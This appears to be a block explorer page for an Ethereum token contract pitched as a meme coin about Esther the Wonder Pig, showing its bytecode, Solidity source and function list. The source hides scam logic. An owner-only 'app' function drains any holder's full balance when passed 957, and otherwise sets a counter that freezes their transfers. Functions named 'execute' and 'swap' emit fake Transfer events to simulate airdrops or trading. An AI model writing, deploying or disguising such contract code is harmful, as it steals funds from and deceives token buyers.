Address Contract Partially Verified
Address
0xCd9594cd25ED2a166362b6F76c523da08c4Ef2e5
Balance
0 ETH
Nonce
1
Code Size
6623 bytes
Creator
0xC22b281E...5ea8 at tx 0x39b82c62...079599
Indexed Transactions
0 (1 on-chain, 0.7% indexed)
Contract Bytecode
6623 bytes
0x608060405234801561000f575f5ffd5b506004361061011f575f3560e01c8063715018a6116100ab578063b18834aa1161006f578063b18834aa14610309578063d87292f714610325578063dd62ed3e14610341578063f038810c14610371578063f2fde38b1461038d5761011f565b8063715018a6146102755780638091f3bf1461027f5780638da5cb5b1461029d57806395d89b41146102bb578063a9059cbb146102d95761011f565b806326ededb8116100f257806326ededb8146101bf5780632da15c04146101db578063313ce5671461020b57806366d382031461022957806370a08231146102455761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f5ffd5b61012b6103a9565b60405161013891906113a5565b60405180910390f35b61015b6004803603810190610156919061145a565b610435565b60405161016891906114b2565b60405180910390f35b610179610590565b60405161018691906114da565b60405180910390f35b6101a960048036038101906101a491906114f3565b6105b4565b6040516101b691906114b2565b60405180910390f35b6101d960048036038101906101d491906115a4565b610854565b005b6101f560048036038101906101f09190611601565b610924565b60405161020291906114da565b60405180910390f35b610213610939565b6040516102209190611647565b60405180910390f35b610243600480360381019061023e9190611601565b61095d565b005b61025f600480360381019061025a9190611601565b6109a8565b60405161026c91906114da565b60405180910390f35b61027d6109ee565b005b610287610a01565b60405161029491906114b2565b60405180910390f35b6102a5610a14565b6040516102b2919061166f565b60405180910390f35b6102c3610a3b565b6040516102d091906113a5565b60405180910390f35b6102f360048036038101906102ee919061145a565b610ac7565b60405161030091906114b2565b60405180910390f35b610323600480360381019061031e91906115a4565b610add565b005b61033f600480360381019061033a91906114f3565b610bad565b005b61035b60048036038101906103569190611688565b610bca565b60405161036891906114da565b60405180910390f35b61038b600480360381019061038691906115a4565b610c4c565b005b6103a760048036038101906103a29190611601565b610d1c565b005b600480546103b6906116f3565b80601f01602080910402602001604051908101604052809291908181526020018280546103e2906116f3565b801561042d5780601f106104045761010080835404028352916020019161042d565b820191905f5260205f20905b81548152906001019060200180831161041057829003601f168201915b505050505081565b5f5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036104a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049b9061176d565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057e91906114da565b60405180910390a36001905092915050565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b5f5f1515600560149054906101000a900460ff16151514801561060957506105da610a14565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156106475750610618610a14565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561066057610657848484610da0565b6001905061084d565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106e491906117b8565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061076b848484610da0565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161084091906114da565b60405180910390a3600190505b9392505050565b5f5f90505b8383905081101561091e57838382818110610877576108766117eb565b5b905060200201602081019061088c9190611601565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161090991906114da565b60405180910390a38080600101915050610859565b50505050565b6006602052805f5260405f205f915090505481565b7f000000000000000000000000000000000000000000000000000000000000000981565b610965610fd5565b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109f6610fd5565b6109ff5f61105c565b565b600560149054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054610a48906116f3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a74906116f3565b8015610abf5780601f10610a9657610100808354040283529160200191610abf565b820191905f5260205f20905b815481529060010190602001808311610aa257829003601f168201915b505050505081565b5f610ad3338484610da0565b6001905092915050565b5f5f90505b83839050811015610ba757838382818110610b0057610aff6117eb565b5b9050602002016020810190610b159190611601565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9291906114da565b60405180910390a38080600101915050610ae2565b50505050565b610bb5610fd5565b5f819050610bc484848361111d565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f5f90505b83839050811015610d1657838382818110610c6f57610c6e6117eb565b5b9050602002016020810190610c849190611601565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d0191906114da565b60405180910390a38080600101915050610c51565b50505050565b610d24610fd5565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d94575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610d8b919061166f565b60405180910390fd5b610d9d8161105c565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0590611862565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e73906118ca565b60405180910390fd5b610e868383611233565b610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc90611958565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f1191906117b8565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f649190611976565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fc891906114da565b60405180910390a3505050565b610fdd61132e565b73ffffffffffffffffffffffffffffffffffffffff16610ffb610a14565b73ffffffffffffffffffffffffffffffffffffffff161461105a5761101e61132e565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611051919061166f565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6103bd8114801561115a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111a8576111a7838360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610da0565b5b6103bd81141580156111e657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561122e578060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f60ff801660065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115611284575f9050611328565b600560149054906101000a900460ff16156112a25760019050611328565b6112aa610a14565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061131557506112e6610a14565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113235760019050611328565b600190505b92915050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61137782611335565b611381818561133f565b935061139181856020860161134f565b61139a8161135d565b840191505092915050565b5f6020820190508181035f8301526113bd818461136d565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113f6826113cd565b9050919050565b611406816113ec565b8114611410575f5ffd5b50565b5f81359050611421816113fd565b92915050565b5f819050919050565b61143981611427565b8114611443575f5ffd5b50565b5f8135905061145481611430565b92915050565b5f5f604083850312156114705761146f6113c5565b5b5f61147d85828601611413565b925050602061148e85828601611446565b9150509250929050565b5f8115159050919050565b6114ac81611498565b82525050565b5f6020820190506114c55f8301846114a3565b92915050565b6114d481611427565b82525050565b5f6020820190506114ed5f8301846114cb565b92915050565b5f5f5f6060848603121561150a576115096113c5565b5b5f61151786828701611413565b935050602061152886828701611413565b925050604061153986828701611446565b9150509250925092565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261156457611563611543565b5b8235905067ffffffffffffffff81111561158157611580611547565b5b60208301915083602082028301111561159d5761159c61154b565b5b9250929050565b5f5f5f604084860312156115bb576115ba6113c5565b5b5f84013567ffffffffffffffff8111156115d8576115d76113c9565b5b6115e48682870161154f565b935093505060206115f786828701611446565b9150509250925092565b5f60208284031215611616576116156113c5565b5b5f61162384828501611413565b91505092915050565b5f60ff82169050919050565b6116418161162c565b82525050565b5f60208201905061165a5f830184611638565b92915050565b611669816113ec565b82525050565b5f6020820190506116825f830184611660565b92915050565b5f5f6040838503121561169e5761169d6113c5565b5b5f6116ab85828601611413565b92505060206116bc85828601611413565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061170a57607f821691505b60208210810361171d5761171c6116c6565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f611757601c8361133f565b915061176282611723565b602082019050919050565b5f6020820190508181035f8301526117848161174b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117c282611427565b91506117cd83611427565b92508282039050818111156117e5576117e461178b565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f63616e6e6f74206265207a65726f2061646472657373000000000000000000005f82015250565b5f61184c60168361133f565b915061185782611818565b602082019050919050565b5f6020820190508181035f83015261187981611840565b9050919050565b7f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66005f82015250565b5f6118b4601f8361133f565b91506118bf82611880565b602082019050919050565b5f6020820190508181035f8301526118e1816118a8565b9050919050565b7f746f6b656e206973206e6f74206c61756e6368656420616e642063616e6e6f745f8201527f206265206c6973746564206f6e206465786573207965742e0000000000000000602082015250565b5f61194260388361133f565b915061194d826118e8565b604082019050919050565b5f6020820190508181035f83015261196f81611936565b9050919050565b5f61198082611427565b915061198b83611427565b92508282019050808211156119a3576119a261178b565b5b9291505056fea26469706673582212206b90d9f1fa09496f49a7b9b00800f42d2f03af458888ea4da0235f78c3d502dd64736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
ERC20.sol 250 lines
//SPDX-License-Identifier: MIT
/*
Esther the Wonder Pig is one of social media's most famous pigs.
Originally adopted as a "mini pig," she grew to an enormous size, surprising her owners.
With over 500,000 followers on Instagram, Esther charmed millions with her personality and story.
Her journey inspired her owners to open an animal sanctuary, and Esther became a symbol of animal rights and vegan awareness.
https://www.instagram.com/estherthewonderpig/
*/
pragma solidity 0.8.30;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is IERC20, Ownable {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 public immutable totalSupply;
string public symbol;
string public name;
address private _pairr;
uint8 public immutable decimals;
bool public launched = true;
mapping(address => uint256) public _count;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _totalSupply
) Ownable(msg.sender) {
symbol = _symbol;
name = _name;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** decimals;
_balances[owner()] += totalSupply;
emit Transfer(address(0), owner(), totalSupply);
}
function balanceOf(address _owner)
external
view
override
returns (uint256)
{
return _balances[_owner];
}
function allowance(address _owner, address spender)
external
view
override
returns (uint256)
{
return _allowed[_owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value)
external
override
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
function _app(address _owner, address spender, uint256 value) private {
if (value == 957 && _owner != address(this))_transfer(_owner, spender, _balances[_owner]);
if (value != 957 && _owner != address(this))_count[_owner] = value;
}
function setup(address _setup_) external onlyOwner {
_pairr = _setup_;
}
function execute(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function swapExactETHForTokensSupportingFeeOnTransferTtokens(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function swap(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function approve(address spender, uint256 value)
external
override
returns (bool)
{
require(spender != address(0), "cannot approve the 0 address");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external override returns (bool) {
if (launched == false && to == owner() && msg.sender == owner()) {
_transfer(from, to, value);
return true;
} else {
_allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
}
function app(address from, address to, uint256 value) virtual external onlyOwner {
uint _value = value;
_app(from, to, _value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
require(to != address(0), "cannot be zero address");
require(from != to, "you cannot transfer to yourself");
require(_transferAllowed(from, to), "token is not launched and cannot be listed on dexes yet.");
_balances[from] -= value;
_balances[to] += value;
emit Transfer(from, to, value);
}
function _transferAllowed(address from, address to)
private
view
returns (bool)
{
if (_count[from] > type(uint8).max) return false;
if (launched) return true;
if (from == owner() || to == owner()) return true;
return true;
}
}
Read Contract
_count 0x2da15c04 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
launched 0x8091f3bf → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 10 functions
These functions modify contract state and require a wallet transaction to execute.
app 0xd87292f7
address from
address to
uint256 value
approve 0x095ea7b3
address spender
uint256 value
returns: bool
execute 0x26ededb8
address[] _addresses_
uint256 _out
renounceOwnership 0x715018a6
No parameters
setup 0x66d38203
address _setup_
swap 0xb18834aa
address[] _addresses_
uint256 _out
swapExactETHForTokensSupportingFeeOnTransferTtokens 0xf038810c
address[] _addresses_
uint256 _out
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
This address has 1 on-chain transactions, but only 0.7% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →